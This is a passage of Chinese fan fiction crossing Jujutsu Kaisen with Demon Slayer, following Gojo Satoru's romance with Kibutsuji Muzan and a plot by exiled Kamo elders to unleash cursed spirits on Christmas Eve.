“嘻嘻,他们才不会反对啦。” 五条悟恶作剧一样地把自己的眉毛挑起来,跳过寒暄的步骤,面上得意地笑起来。 “夜蛾老头,你觉得新的一年级交给老子来带,不错吧?” 夜蛾正道被他的话震了半晌,连漆黑的墨镜都无法遮掩住他面上的震惊。 “……啊? 你回来当老师?” “不行吗?”五条悟理直气壮地叉着腰,“能得到老子的教导,无论是谁都应该感到荣幸吧。” ………… 他确实有这个资本,但夜蛾正道莫名有了一些不好的预感。 “这样吧五条悟,你……啧。” “哼。”五条悟拉长着一张脸,漂亮的湛蓝色眸子快翻到天上去了,“你这是偏见!” “老子还没当过老师呢! 想必我可爱的学生们一定会让老师的生活充满乐趣的。” 夜蛾正道满脸黑线,幻想不出来五条悟认真带学生的场景。 “……我觉得学生们并不会觉得有乐趣。” …… 是夜,五条悟吃饱喝足,坐在桌前和鬼舞辻无惨玩一些饭后活动。 “嘶……这步为什么要这么走?” “我乐意。” 五条悟冲他做了个鬼脸,“太随意啦,跟老子对战一点都不专心。” “嗯嗯。”鬼舞辻无惨如他愿地抬起头,随后注视着他,“这样?” 趁着他抬头的瞬间,五条悟眼疾手快,瞬间把棋盘上的黑白棋子调整了个位置。刚一松手,手腕那就被骨刺缠住了。 “作弊?” “嗯哼?有吗?”五条悟食指一下一下地带着黑色棋子在桌面上转圈,“不要随便污蔑人哦~” 五条悟这人很懂得怎么利用自己的先天优势,无论是达成目的也好,单纯地想要做什么也好。 “要不要打个赌?”他的目光挑起一抹弧度,连带着淡色的眼睫都像一片片的雪。向窗外望去,是一派肃穆与祥和的纯白天地。 鬼舞辻无惨没有再去管他的小动作,瞥了两眼棋盘,就决定好了自己的下一步动作。 “赌什么。” “赌那群老东西什么时候会松口咯。” 五条悟眼睛一亮,指尖淡蓝色的光亮一闪而过,随后清脆的落子声响起。 “你……”鬼舞辻无惨盯了棋盘半天,琢磨着棋子的布局哪哪都不对劲,“你是不是又换棋了?” 五条悟倒是表现得很自然,语气里满是无辜地说到:“你看见了吗?” “哼。”骨刺瞬间启动,抵着他的掌心将他的手按在桌子上。五条悟也没准备躲开,眨巴眨巴着眼睛盯着对方。 不得不说的是,五条悟对术式的运作愈发娴熟,并且通过特殊的训练,使得术式的运作达到极其迅速和隐秘的程度。 “我记得棋盘呢。” “哦~” 五条悟就跟做错了事的小猫一样,在面上装作满脸无辜,靠着撒娇卖萌把这件事圆过去,但下次还敢,并且会越发猖獗。 “那我下次找个你看不出来的。” “快点回答我呀,这段时间感觉那边一点动静都没有。” 五条悟百无聊赖地扯着鬼舞辻无惨的骨刺凹造型。 “真的要我认为,我只会让你别想了。” “啊~真的假的。” 五条悟奇怪地看了他一眼。 “真没可能?” “按照现在的进展来看,没有可能。” 五条悟:“哪怕是……” “至少在你这一代人看来,没有可能。” 鬼舞辻无惨语气平淡。 “你总不能让我一直管着这里吧?” 五条悟撇撇嘴,“不可以吗?” “我会离开的。” 这人用十分平静的语气说出了十分恐怖的话呢。 “喔。”五条悟的脑子难得有些卡壳,“那……大概什么时候呢?” “不清楚。” 五条悟顿时就泄气起来,表情不满,连声音都变得低低的。 “你不能这样。 你现在无缘无故没头没尾地跟我说了一些奇奇怪怪的话,老子会……” 五条悟还没说完,声音就降了下去,面上表情都蔫儿了。 “你会伤心?” 鬼舞辻无惨接着他的话说,但五条悟没有回答,墨镜之后的眸子转到一旁,连视线都不肯落在对方身上。但又不想完全否认,有点嘴硬地带着无所谓的态度嗯了两声。 “怎么了,不行?” “没有那回事。”骨刺扫过对方的脸颊,顺带着也一起把五条悟额旁碎发扫到而后,带起一阵轻飘飘的风,像是在心上泛起涟漪。 “只是一种预感而已,活得久了自然能感觉到。” “所以……” 五条悟还想问什么,但一看见他那张平静的脸,顿时就感觉有些不爽,涟漪慢慢扩大,在边际的地方漾起阵阵水花。 “又在生气。” “老子没有生气。”其实自己脸都快黑了,少年人的情绪明显地展露出来,“只是有点不爽,当然,只是一点点。” “就再加个限定条件吧。” “在你死亡之前,我不会离开。” 五条悟怔了一下,随后颇为配合地“ 哇~”了一声。 “这是长生种告白的方式吗?” 鬼舞辻无惨不可置否地笑着。“现在还需要告白吗?” “为什么不呢?” 五条悟扑上去一把抱住他,十分开心地埋在他身上蹭蹭蹭,“老子不嫌多,再多点再多点。” 蹭了半天,五条悟猛地拉回了自己不知道偏到哪里去的思维。 “嗯呢,最开始话题是什么来着? 哦对了……” 五条悟闭着眼睛沉默了半晌,“所以那群人真的没法松口吗?” “如果按现在正常发展的话,需要的时间太长了。” 五条悟敏锐地感知到了他话里隐藏的东西,“那不正常呢?” “我指的不正常的情况,是一个契机,也是一个转折点。” 鬼舞辻无惨垂下眼眸,思考其自己失去感知的血液,消失了踪迹的前御三家旧部,声音冷冷的。 “如果能有一场危机, 足以危及整个咒术界,威胁到所有人的地位。” 鬼舞辻无惨微微一笑,最后一子落下,将军。 “倘若主要矛盾能得到转移,两方势力的合作也并非不可能。” 五条悟:“但现在咒术界有四个大杀器坐镇,有什么危机是连我们都无法解决的呢?” 鬼舞辻无惨:“如果是我的话, 我会在一切都安定下来之时,挑选一个所有人都最为放松的时间,以最残酷的方式,将所有人拉入无边的恐惧之中。” 第68章 第 68 章 涩谷事变:…… “这会不会, 太过于……” 加茂弥皱着眉,面上布满凝重和纠结。 在她的面前,站着一个看不出性别的、有着白色短发和刘海的穿着袈裟的人。这人面色平静, 瞳孔的深处隐隐透出不悦。 里梅不耐烦地“啧”了一声, 吓得加茂弥低下头, 连声道歉。 “对,对不起里梅大人!在下只是……” 自从被五条家下了追杀令, 加茂弥带着旧部东躲西藏,直到面前这人找上门来,加茂弥和加茂家被驱逐的族人才找到了得以安身的地方。 但里梅或许并不是一切的主谋, 至少在她的身后, 还有一个隐藏得更深的人。 “在零点的时候,找地方把你们圈养的那群咒灵放出来就好, 有什么难的地方吗?” “那……这样的话……那些人就……” 虽然在任上并没有干多少好事,但加茂弥毕竟代表的是正派, 是咒术界的高层,是明面上笼罩在普通人头上的保护伞。而一次性放出大量咒灵,势必会波及大量无辜的普通人和底层咒术师。 “死了就死了。”里梅面无波澜地盯着她,心情愈发不好, 周身寒意笼罩着, “还是说, 你们想死在那些人前面?” 加茂弥跪伏在地上,死命摇着头, “没有!完全没有!大人, 我们很乐意这么做!” 虽说内心那道坎还隐隐约约地存在,但加茂弥一想到自己从高高在上的御三家高层,沦落到只能依靠来路不明的咒术师苟延残喘, 她的心里就不免涌起怒火和怨恨。 那点可以忽略不计的道德底线,事后如何给得知咒术界存在的普通人交代,这些事通通不必考虑。 只需受着那怒火鼓舞,向着那漆黑的惨叫前进。 去打造炼狱,去罗织密网,去探测深渊,把一切背叛了自己的存在通通抹除。 最后,赢回属于自己的地位和权力。 “是的,大人。” 加茂弥弯下腰,重重地磕了下去。 “我们会按照您的指示行动,在零点时分,将咒灵驱赶至东京和京都的居民住宅区。 并将随时听候您的命令,及时通过咒令强制性停止咒灵的活动。 一切都是为了咒术界的未来。” “叮铃铃……” 不合时宜的电话声响起,里梅瞥了一眼手机屏幕,心情顿时不太愉悦,但还是把电话接了起来。 “希望你真的是有要紧的事,万。” “啊呀~里梅酱不要这么冷淡嘛~姐姐我可是已经见过东京咒术高专的那群小孩子了呢。 真是可爱啊,已经迫不及待地想冲上去和他们好好认识一下了呢~” 万懒散地躺在树上,阴影投下,将白皙的肌肤遮掩成为暗面,映着飘扬的、顺着重力垂下的衣衫,色彩斑驳着。 “嘁。”里梅嘴了她一句,语气冷冷的,跟她的表情一样没有一丝波澜,“希望你能顺利地把宿傩大人的手指带出来。 不然,就等着被冰冻粉碎吧。” “哼,你还是像千年前一样呢~” 万仰着头,修长的脖颈呈现出病态的弧度,发出“咔吧咔吧”的骨头碰撞声。 “知道了~我可是很期待宿傩大人的降临呢~” ………… 是日,正午十一点。 冬日的太阳并不算强烈,照在人的身上,塑造出浓烈的倒影。飒飒舞动,凌厉又专注。 “呀,真希,都中午了,还不准备吃饭吗?” 五条悟远远地冲禅院真希打了个招呼,极具穿透力的嗓音回荡过去,得了对方一个回视。 “没什么要紧的。 可以吃饭了的话,真依那家伙会喊我的吧?” 五条悟歪了下头,想也是,就不打扰她训练了。 “今天老师要和老朋友出去聚餐,你们一年级的几个要好好照顾自己哦~” 五条悟伸展着手臂对她挥挥手,看似好心的嘱咐,得了对方一个白眼。 “啊?你要是在的话,我们才会多一个要被照顾的人吧?” 禅院真希完全不给他面子,手中长枪绕了几圈,随后右手猛的压下,枪尖调转。 “诶,那今日份的单练……” 话还没说完,下一秒,禅院真希的身体就被踹飞了出去,砸到墙上。 “进步不错哦真希~不过老师现在是真的要走了,别太想念老师哦。” 五条悟瞬间又回到原地,手持着保存完好的慕斯蛋糕背到身后。 禅院真希倒在原地,闷闷地补了句:“才不会啊混蛋!” 五条悟瞬移回了五条家,一路蹦蹦跳跳,踹开了鬼舞辻无惨的房门。 “真不知道你什么时候才能改掉这个习惯。” 鬼舞辻无惨端坐在桌后,睨了他一眼。 五条悟的身上还带着点点的雪花,衣袖间夹杂着冬日的寒气,显得冰冰凉的。他的动作把门外的寒风一起带了进来,随后门被猛的闭上,连同寒冷一起被阻隔在外。 “嘻嘻,老子想你了嘛~” 鬼舞辻无惨的眉间微微蹙起,掌心抵着这人的额头,又在对方凑上来的时候适当地往后躲了躲。 “需要我提醒你吗?我们早上才刚见过面。” 五条悟扒着他的手腕,随后弯着脖子,从旁边探出头来,吻了吻他的手心。 “那也有好几个小时了。” “不拆了吗?”鬼舞辻无惨任由他动作,视线落到他的眼睛上,五条悟这一年不知道从哪里学来的,把墨镜摘了,换上了绷带。 五条悟抿着唇停了几秒,感觉到鬼舞辻无惨的手掌有些过于冷了,就用了点力把他的手压下来抵在自己的腿上,炽热的温度灼着他的掌心。 五条悟难受地哼哼了两下,慢悠悠地说到:“懒得拆,等会要系上去太麻烦了。” “而且这样的话,亲吻的时候墨镜不会磕到诶。” 被绷带绕着的眼窝处陷进去一个弧度,鬼舞辻无惨的指尖抚上去,随即就被毛茸茸的脑袋蹭了两下。 “……随你。” 虽然绷带遮住了小半张脸,但从剩下的地方还是很明显的能感受到这人面上的兴奋。 “平安夜。” 五条悟一把抱住鬼舞辻无惨的腰,下巴十分自然地搁在他的肩膀上,又一下没一下地用脑袋蹭着他的侧脸。 “不喜欢吗?” “对我而言都一样的吧。” 这是实话,对于长生种而言,以年为单位的节日在漫长的生命线中可谓是不值一提。 “肯定是老子天天陪在你身边~”五条悟收紧了手臂,声音低沉,“你不会腻了吧……” “别给自己加戏。”鬼舞辻无惨微微偏过头,虽然看不见,但他总感觉对方绷带下的眼睛是专注且认真的,“……我没有这样说过。” “没有说就代表没有吗?” 五条悟追问到。 “嗯。” 最终得了个简短的回答,五条悟唇角勾起,将话题偏转。 “非常的坦诚呢,和老子一样哦~” 鬼舞辻无惨轻笑一声,稍微用了点力到捏了下他的手指。 “坦诚?我看你在自己学生面前一口一个「老师」自称,怎么在我面前就这么放荡不羁了呢。” “老师就是老师呀。”五条悟摇了摇头,答非所问,已读乱回,“老师相信我可爱的学生们肯定能理解老师的良苦用心的呢。” 五条悟自顾自地玩着他的头发,氛围倒还算是融洽。 “今天晚上杰和硝子找老子约饭诶,你要一起嘛?” “你肯定要来的吧?那让我想想晚上选哪家餐厅……” 自从咒力和鬼舞辻无惨的身体愈发融合之后,他这张嘴也是能尝到味了,只不过大多数时候还是有点兴致缺缺,只能算作是不时地尝试些新东西而已。 “我正好要和你说件事。” 五条悟眉头一紧,敏锐地感觉到他要说些不讨喜的东西,连忙双手捧着他的脸吻了上去。 半晌两人分开,随后五条悟的脑袋被鬼舞辻无惨瞬间按到桌子上。 “……干嘛打断我。” 五条悟没什么感觉,估摸着对方也没用力,就随着他的动作,老老实实地贴在桌子上,双手还不老实地晃来晃去,装作挣脱不开的样子。 “嗯嗯……” 五条悟委屈巴巴地说:“干嘛,什么事是平安夜都不能一起过的?” 鬼舞辻无惨揪着他的领子,把人拉到面前,咬了下他的唇瓣,尖锐的牙齿刺进去一点,但在痛觉还未完全展露之时就收了回去。 鬼舞辻无惨垂着眼眸,一点一点地舔舐他唇边的血液。 “安分点。” 五条悟老实了,自己先坐稳了,顺带着扶住鬼舞辻无惨的腰。 “我在远离京都的地方,感知到了我的血液,还有眷属的气息。” 最后一下,鬼舞辻无惨伸出手指,指腹抹过湿润的唇角,带走最后一点血渍。 “……为什么是现在?” 五条悟低低地喘了两声,用额头抵着他的额头。 “为了引开我吧?” 按理来说,无论是离体的血液还是作为眷属鬼族的存在,都可以被鬼王一手掌控。 但这血液的存在若有若无,像是被什么东西隔绝了。那些眷属的存在也有些奇奇怪怪的,只能感知,而无法操控。 出于自身情况的特殊性,鬼舞辻无惨必须搞清楚目前的状况。五条悟也理解,就没有撒泼打滚。 “你觉得现在到时间了?” “必须要到吧? 毕竟要是再等下去,咒术界就要有第四位特级咒术师了。” 东京咒术高专,一年级,乙骨忧太。 第69章 第 69 章 涩谷事变:…… 12月24日, 正午十二点。 “干什么呢?还愣着。” 禅院真希肩上扛着把长枪,从门外探进来一个身子。 门内的乙骨忧太像是被吓到一样,脖子猛地缩了一下, 在看清来人之时才慢慢呼出一口气。 “是真希啊……” “干嘛啊。”禅院真希拧着眉毛笑着进来, 耸了耸肩, 说到:“你怎么跟做贼心虚一样?” 乙骨忧太戳戳手指,头发因为没有好好打理而显得有些毛糙, 边角的地方翘起。不巧的是,在他的身后,巨大的、长着尖牙利刺的白色咒灵从他的脑门上探出来, 往禅院真希的方向飘了飘。 禅院真希习惯性地后退半步, 右手下压,下一秒就被乙骨忧太的喊叫声打断。 “等等里香!”乙骨忧太的双手抚上咒灵的脑袋, 见她没有下一步动作之后才松了口气。 “礼物……忧太的礼物……” 祈本里香把自己白色的脑袋凑上去蹭了蹭他,声音空灵而绵延。 禅院真希挑了挑眉, 看向乙骨忧太。 “是这样的……”乙骨忧太颇为不好意思地挠了挠头,面上露出柔和的笑意,“因为这段时间受各位的关照,甚至是来自于后辈的关照……我给你们准备了礼物, 想着平安夜晚上聚餐的时候给你们……” “啊, 这样啊。” 禅院真希收回手, 那柄长枪重新被她扛到肩上,“那惠的那一份, 你估计要晚点才能给他了。” 禅院真希扭过头向门外走去, 并抬手示意他一起跟上。 乙骨忧太顿时有点紧张,“怎么了吗?” “因为他说,他去年是和我们在一起过的平安夜, 今年他要回去陪他姐。” “啊,是这样啊。”乙骨忧太眨巴眨巴眼睛,用力点了下头,“明白了,我会另外和他说的。” 悠长的木质走廊上,两人一前一后走着,直到道路的尽头出现了熟悉的身影。 “真依——” 禅院真希懒洋洋地朝着对面喊到,悠长的声音回荡过去,带着些许的慵懒。 “你真是的,能不能别每次都要人来喊你!” 禅院真依双手抱胸,面上微微皱着眉。 禅院真希一个冲刺上去,右手勾住她的脖子,歪着脑袋碰了碰她的额头。 “不要和姐姐这么说话嘛小妹。”禅院真希摊着手,枪尖绕出一个弧度,随后被她挪了个肩膀待着,“难道你不会来喊我吗?” 真依撇过头,轻哼一声,“所以你才这样啊,天天都要人来催才会好好吃饭睡觉。” “难得有假期,别那么扫兴嘛。”真希对她挑了挑眉,“你们辅助监督那边活很多吗,这么折磨人?” 说起这个,禅院真依皱了下眉,表情不太轻松,“这两天的工作……确实没有放松。不过每年都是这样的,临近节假日会更忙,我都快习惯了。” “这可是过节诶。”禅院真希晃了晃头,表示不理解,“放假,出游,难道咒灵还会更多吗?” “又不是我能决定的。” 伴随着两人的闲聊声,几人来到了餐厅里,禅院真希最先走进去,环视一圈。 “惠不在就算了,怎么加茂宪纪那俩人呢?还没回来?准备留在加茂家过节啦?” “鲑鱼鲑鱼。” 已经到场的狗卷棘抬起头看向禅院真希,点了点头。 此时此刻,加茂家。 加茂宪纪闭着眼,屈膝坐在空荡荡的房间的正中央,在他的周围,是发着光的金色纹路,蔓延到房间内的整块地板,形成了华丽而诡谲的阵法。顺着这金色纹路慢慢延展,是两条泛着金色光芒的虚幻的锁链,从阵法的末端一直延展到了加茂宪纪的手腕上。 淡蓝色的咒力在他的周身浮现,不断地被打碎,又重新融合,但进入的阵中时,就像是泄进海洋的一瓢水,掀不起丝毫风浪。 不知过了多久,门被拉开,侍女低着头进到了房间里,将一碟饭菜送到加茂宪纪的面前。 “少主大人,您从昨天回来就一直没有进食……” “拿走。” 加茂宪纪一天一夜滴水未进,唇瓣上撕扯开一条条的裂痕,唇色惨白。 ………… 死一般的寂静过后,只听见“咚”的一声,侍女猛地跪在地上,上半身伏下来,额头抵着交叠的双手,抵着手背上坚硬的骨头。 “少主大人,少主大人。 求求您,求求您吃点吧……” 侍女低伏着的身体颤抖着,一缕一缕的长发从她的肩膀上掉落,随后和金色的光影沾染在一起。她的声音带着点哭腔,是一种近乎于恐惧的颤抖。 “否则……长老……长老她……” “慎言。” 加茂宪纪慢慢睁开眼,目光触及到侍女颤抖的身体,仿佛被烫伤一样移开了视线。 下一秒,更为清晰的脚步声传来,然后是齐刷刷的下跪声。苍老但仍旧厚重的女性声线从门外传来,这声音的归属显然相当明确。 “怎么,少主还不肯吃东西吗?” 加茂弥踏着慢悠悠的步子进到房间里,木屐和地面一下一下地碰撞,清脆的声音穿透了面前两人的耳朵。侍女强忍着不发出哭声,只是指腹蹭了一下地面,随后将上半身伏得更低了。 加茂宪纪抬起头,因为被禁锢着,再加上长时间未进食,面上显出明晃晃的虚弱。 “宪纪刚想端起饭菜,但一见到您的尊容,顿时食不下咽,望您体量。” “哈?” 加茂弥不可置信地看了他一眼,对上目光之后,她才发现面前这个小辈的眼中并无惊恐与慌乱。虽然对方丝毫不畏惧地嘲讽自己,但加茂宪纪面上还是加茂家的少主,因而还有很大的用处。 一想到这,再想到自己十年的逃亡生涯,加茂弥就觉得这片刻的忍耐也不是不可以接受了。 “哼,滚下去吧,没用的东西。” 侍女的身子被她一脚掀翻,狠狠摔到地面上,接着她片刻不敢停留,哆嗦着手脚站起来,伏着腰退了下去,步子出奇的快。 “你自小在五条悟那个不知礼数的蠢货身边长大,不知道尊敬长辈,我不怪你。” 加茂弥凑近,故作慈爱地揉了揉他的头。 “但你别忘了,你身上还有束缚。只要是在阵法持续时间内,无论你是主动还是被动地联系外界, 你的母亲就会因你而死。” 加茂弥嗤笑一声,似乎是在嘲讽他的不自量力。 “有些人啊,待在不属于他的位置上久了,就不知道孰轻孰重了。 但没关系,今天之后,哦不,明天,一切都会变好的。” 加茂弥死死按着加茂宪纪的下巴,鲜红的血丝蔓延开来,惹得加茂宪纪皱了下眉。 “无论是禅院家五条家,还是那该死的五条悟,就什么都不是了。 但你还是加茂家的少主。” “懂了么?”加茂弥松开手,任由对方跌落到地面上,高高在上,正如十多年前。 “宪纪只会觉得,您在痴心妄想。” 加茂弥彻底相信自己即将进行的计划,彻底的认为,这话只是指向了彻底的反面而已。 她的目光一改浑浊和冷漠,显出奇妙的向往和残酷。 十多年前,她带着好不容易保护下来的试验品一路逃亡,然后被莫名的咒灵和诅咒师救下,留在特殊的领域内,为对方做实验。 加茂弥认为这是场交易,加茂家用他们数以千计的咒灵资源为幕后黑手制造混乱,借着混乱重新夺回咒术界。 那管由五条悟给予的、生命力极强的血液,实际上在加茂弥长久的实验中,已经被测试出具有极强的重塑、定位和控制能力。 而经由那位改造后的血液,则彻底成为了实验最好的样本。 那位似乎要利用这血液做些什么,而加茂弥做了些手脚,私自留下了一些血液,准备以此为引,制造出类似的产物,并同咒灵结合,试图制造一个能够彻底释放赤血操术上限的存在。 而这实验,必不可少的就是面前这位赤血操术的实际所有者。 可不能让他死了。 加茂弥唇角勾起,牵扯着一片的皱纹,像一个即将腐朽的木头。 “少主还是要爱惜自己为好,否则,我可不能保证,这混乱会不会波及加茂家的人呢。” 在同五条家的权力争斗中,加茂家被分割肢解,而留在咒术界的这一批,被她视作彻底的叛徒,本身就不配活下去的存在。 用这群人的生命来作为威胁,她可是一点都不心疼呢。 加茂宪纪睁开眼,定定地看着她,良久,叹了口气。 “宪纪明白了。” 门外,风景正好,阳光灿烂,那日头在天幕上逐渐落下,不断下坠,带着冬日里头点点残留的温暖一起消散在寒风中。 天色在变暗,连寒梅都消失了踪迹。 昨日,加茂家的家主以祖传术式为由头,将加茂宪纪和他的母亲一同唤回来。 但到了加茂家,他才发现这里早已被加茂家的旧部控制,自己和母亲也被分开囚禁。 不仅如此,为了防止他向外界透露任何有关讯息,对方以母亲的生命作为威胁,强迫加茂宪纪立下了束缚。 …… 心知山雨欲来,加茂宪纪在进食的间隙,抬起头,顺着窗户去看那正在落下的大日。 然后是那蓝天,一如既往的湛蓝而纯粹。 第70章 第 70 章 涩谷事变:…… 金灿灿的阳光洒落, 二楼的窗户上,五条悟上半身趴在窗沿,下巴抵着掌心, 抿着唇, 看上去心情一般。 直到感受到了熟悉的咒力痕迹, 五条悟朝着人群中的某个方向挥了挥手,随即拉上窗户。 “吱呀”一声, 门被打开,夏油杰和家入硝子一前一后,慢悠悠地走进房间。 十年过去, 两人都发生了翻天覆地的变化, 无论是外表上的,还是心境上的。 夏油杰仍然穿着他那件袈裟, 发型保持得好好的,五官更加立体, 显出些成熟男性的魅力。家入硝子的五官长开,眼角的一颗泪痣衬的她的面容更加有魅力,遮掩不住的黑眼圈从浓重的妆造下透出来,她身上还穿着工作时候的白大褂。 家入硝子两步上前, 拉开木质的椅子, 靠在椅背上闭目养神。 “哇, 上周见硝子还不是这个样子呢……你最近在cos熊猫吗?” 五条悟的眼睛被遮了个严严实实,但那股子欠揍的气息仍旧能从剩下的半张脸上展露出来。家入硝子没了睡意, 双手抱胸, 十分无语地对他翻了个白眼。 “你个混蛋还好意思说,我一个小时前还在补觉呢,也不知道是谁一个电话把我叫醒的。” 五条悟歪了下头, 面上笑眯眯的,知道她在指谁,但不改。 “这么说来。”夏油杰敲了敲桌面,吸引了两个人的注意,“我刚才也在陪着那孩子去医院复诊呢,如果不是悟的电话,我也不会把她一个人留在医院。” “哪个孩子?” 五条悟故意反问到。 “一听就知道是他的学生吧?”家入硝子不耐地撇了下嘴。 夏油杰转头,皮笑肉不笑地注视着五条悟。 “嗯,静佳半月前出了车祸,头上缝了几针。” “诅咒师的手笔吗?为什么不找我?” 家入硝子懒洋洋地把目光移过去。 “是交通事故……而且肇事者由于涉嫌危险驾驶,警方介入了调查,势必也会有需要静佳配合的地方,伤势痊愈的太快,容易引起不必要的关注。” “在征得静佳的同意后,我决定停了她的工作,正好也让她能有个休息的时间,不要整天都忙于出任务,会很累的。” 夏油杰摇摇头,将话题重新转移到五条悟身上。 “所以说,出什么事了,要提前原计划定在晚上的会面呢。” 五条悟摁开手机。 东京时间下午三点整。 “啊,事情是这样的。” 五条悟:“三个多小时前,无惨在偏离京都的某处感受到了某些东西。 据他的猜测,这是高层旧部的势力放出的诱饵,其目的是为了将他引到远离京都的地方。” 夏油杰听完,浅浅应了一句,接着看五条悟老半天没了动静,就顺着他的话问到。 “所以……你让他一个人去了?” “所以明知有危险,你为什么不一起去呢?” 家入硝子懒洋洋地靠在椅背上,眉头微微皱起。 五条悟努了努嘴,面上露出既纠结又烦恼的表情。 “其实呢,我是想和他一块去的。” “但是话又说回来了……” 几小时前。 “不要哇!”五条悟拽着鬼舞辻无惨的衣服,把自己一长串的身体挂在对方身上,故作可怜地掐着嗓子叫嚷到:“老子要和你一起去嘛~一起嘛一起嘛~ 要是出了问题还能相互照应。” 鬼舞辻无惨任由他抱着,安抚性地揉了揉他的脑袋。 “不要。” 五条悟明显不高兴了,把自己的声音撑起来,“为什么。” 鬼舞辻无惨用指尖一下一下地点着桌面,清脆的声音同样昭示了他内心的不平衡。 但这担忧并非是出于对自身安危的在意,而是别的什么原因。 “五条悟,你听我说。” 鬼舞辻无惨的声音变得低沉,娓娓道来,就像是来自深夜的低语。 “一切诡计都不会无处可寻。” “优秀的对手会为他的敌人量身定制对应的陷阱。” “方式,过程,时间,一切因素都不重要,唯一重要的只是最后的目的。” 五条悟摸着下巴,沉吟片刻。 “为我定制的陷阱……” 随后,他理所应当地说:“你啊。” 接着不出意料地收获了鬼舞辻无惨的一计重拳。 “在这段对抗里,我是同你一样需要被特殊考虑的存在,驳回。” 鬼舞辻无惨的声音是冷调的,缺少一定的起伏,就像是毫无感情的机器。直到他的目光落在五条悟的脸上,对方扯下了眼睛上的绷带,那双澄澈的湛蓝色眸子正如他想象的那样注视着自己。 鬼舞辻无惨叹了口气,凑过去吻了吻他的下巴,惹得五条悟继续扒拉着他哼哼唧唧。 ………… “停停停。”夏油杰紧急叫停,“先说正事,剩下的你们两个关上门来自己说。” “哦。” “长话短说,最后我俩商量的结果就是,对方会抛出势必只有我才能解决的问题,当然也包括只有杰才能解决的问题。” “但对方想要解决我们,势必也需要付出一定的代价。” 五条悟双手合十,语气中听不出多大的焦虑。 “那么现在的情况就是呢……” 五条悟把声音拉长,“一个多小时前,我和他之间的通讯断掉了。” “要么是被特殊的干扰手段屏蔽了,要么是特殊的领域。嗯,不过我俩之间的咒力是相通的,我能感受到他现在的状态。” 夏油杰:“确定是出了问题?” “嗯。”五条悟十指交叉,撑着下巴,“所以目前基本可以确定,那些藏在暗处的人已经开始了动作。 在你们还没回来之前,我回了一趟五条家,确认了下目前全国境内的咒力水平没有发生大的变动。” “销声匿迹的诅咒师,高层的旧部,以及受其驱使的咒灵群。”五条悟身体微微前倾,腰背直起来坐着,垂眸思索,“目前猜测是,有隐藏的势力将这三者统合了起来。 但奇怪的是,五条家似乎从未找到有关势力的足迹。 很难想象有什么势力能在整个咒术界的围剿下隐藏的这么好。” “明白了。” 夏油杰做出和五条悟的同款动作,“我会把我那边看好的。” 家入硝子看看两边,同步动作一起撑下巴。 “行啊,我会留在中央城区,确保各地伤员能及时得到救治。” …… “喂,我说五条,那群人应该不会……” 五条悟:“日本全境一共791个城市,想来需要做最坏的打算。” ………… 东京时间,下午四点整。 “静佳姐,你饿不饿呀,要不要吃可丽饼呀。” 枷场菜菜子抱着静佳的胳膊,眼睛睁得大大的,微笑的时候露出了八颗牙齿,活泼又开朗。 “菜菜子是笨蛋。”枷场美美子抱着娃娃靠在副驾驶上,声音沉沉的。主驾驶位上的菅原真奈美一只手搭在窗户上,另一只手扶着方向盘,稳稳地把车停在斑马线前,等着绿灯再继续前进。 “哈?” “本来就是,医生都说了静佳接下来要吃得清淡一点,你的那份全都是加糖的草莓酱,腻死了。” 菅原真奈美的目光落在她们身上,眼底带着并不外露的温柔。 “嘁。”枷场菜菜子吐了下舌头,随后双手抱胸靠回到自己的位置上去。 “明明是夏油大人来接的,结果他半途不见了,等下我们吃饭才不等他呢。” “别那么说哦菜菜子。”静佳的目光看向窗外,视线直直的,带着点恍惚,“夏油大人肯定是有很要紧的事,才中途离开的吧。” 她转过头来,露出一个很温柔的笑容。 “确实。”菅原真奈美看着信号灯重新变绿,收回搭在窗户上的手,稳稳地起步,向盘星教开去。 “不少孩子们今天还在加班。” 静佳低下头,看上去有些愧疚,声线也低了下去。 “嗯……真是抱歉,我出了这样的事,还要麻烦大家。” “咦。”枷场菜菜子气鼓鼓地说,“真是的,静佳姐再这么说我就要生气了。” 一想到先前的场景,菜菜子就来气。 “要不是静佳姐关键时候推开我,被撞到头破血流的就是我啦。” “真可恶。” 枷场美美子的眼神暗了下来,一下一下地揪着娃娃的手,菜菜子跟着一起附和到。 “就是就是,不管怎么样,酒驾也太不负责任了吧!还想跟我们和解,想得美啊,最好直接去蹲大牢!” 枷场美美子非常不给面子地出声,“安静点菜菜子,静佳姐会头疼的。” “啊。”枷场菜菜子这下倒是没反驳,用标准的甜美笑容和静佳撒娇到:“对不起嘛静佳姐姐。” 静佳从善如流地揉了揉她的头发,有些无奈地笑了笑。微风从开了一条缝的窗户外面飘进来,扬起几缕额前的发丝,在她平静而又祥和的眸子前飘荡着。 菜菜子美美子两人免不了斗嘴,菅原真奈美安安稳稳地开着车,不时和静佳对上一个无奈的眼神。 平静而又美好的画面,静佳似乎是有些累了,闭上眼,靠在抱枕上闭目养神。枷场菜菜子看了她一眼,自觉地把声音降低,美好中带着一丝祥和。 那发丝安稳地落下,缝隙间似乎能看见缝合后的线头。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 第 71 章 涩谷事变:…… 阳光正好, 街道上熙熙攘攘,父母陪着他们的孩子,青年陪伴着他们的恋人, 朋友们三三两两。 “老板!” 出任务的间隙, 五条悟随意地走进一家甜品店, 在橱柜前面一顿指指点点,店员手脚利落地给他打包了四五个蛋糕盒然后一层层叠在一起, 最后装好了递到他手上。 “欢迎下次光临!” 五条悟挥挥手,头也不回地出了店门。在他的身后,短发的小女孩拽着母亲的手, 目光一直黏着他的背影, 直到完全看不见对方。 “妈妈!为什么那个哥哥可以买这么多小蛋糕我就不行……” 小姑娘的发丝被揉乱,接着脑袋被往下压了压。 “下午已经给你吃了两块草莓蛋糕了, 不能再多了。” 店外,刚刚出门的五条悟转眼间消失不见, 半分钟后,他的身形出现在远离市区的一连片工业废墟附近。 只是普通的任务而已,没什么大不了的,没什么可担心的。 五条悟的身体悬浮在半空, 他的右手上还拎着刚刚买来的甜品, 左手握着手机, 通话界面一直开着,计时表慢悠悠地到了四个小时的临界。 “嗯!你说你手机没电了?” 五条悟龇牙咧嘴, 声音低沉, 听不出确切的心情。 “那老子给你另一部手机打,别装听不见,不然老子会很生气的。” 暂时挂掉电话, 五条悟一边按拨号键,一边骂骂咧咧。 “不许不接老子的电话,听见没有?” 电话被重新拨通,鬼舞辻无惨平静的声音从电话那头传过来,一如既往。 “你是那种很害怕孤独的人吗五条悟。” “哼哼,能有人陪着干嘛要自己一个?”五条悟的身子往下降,踩着坚硬的水泥地缓缓降落,“反正战斗什么的,对你来说也没什么难度吧?” “嗯,你……” ………… 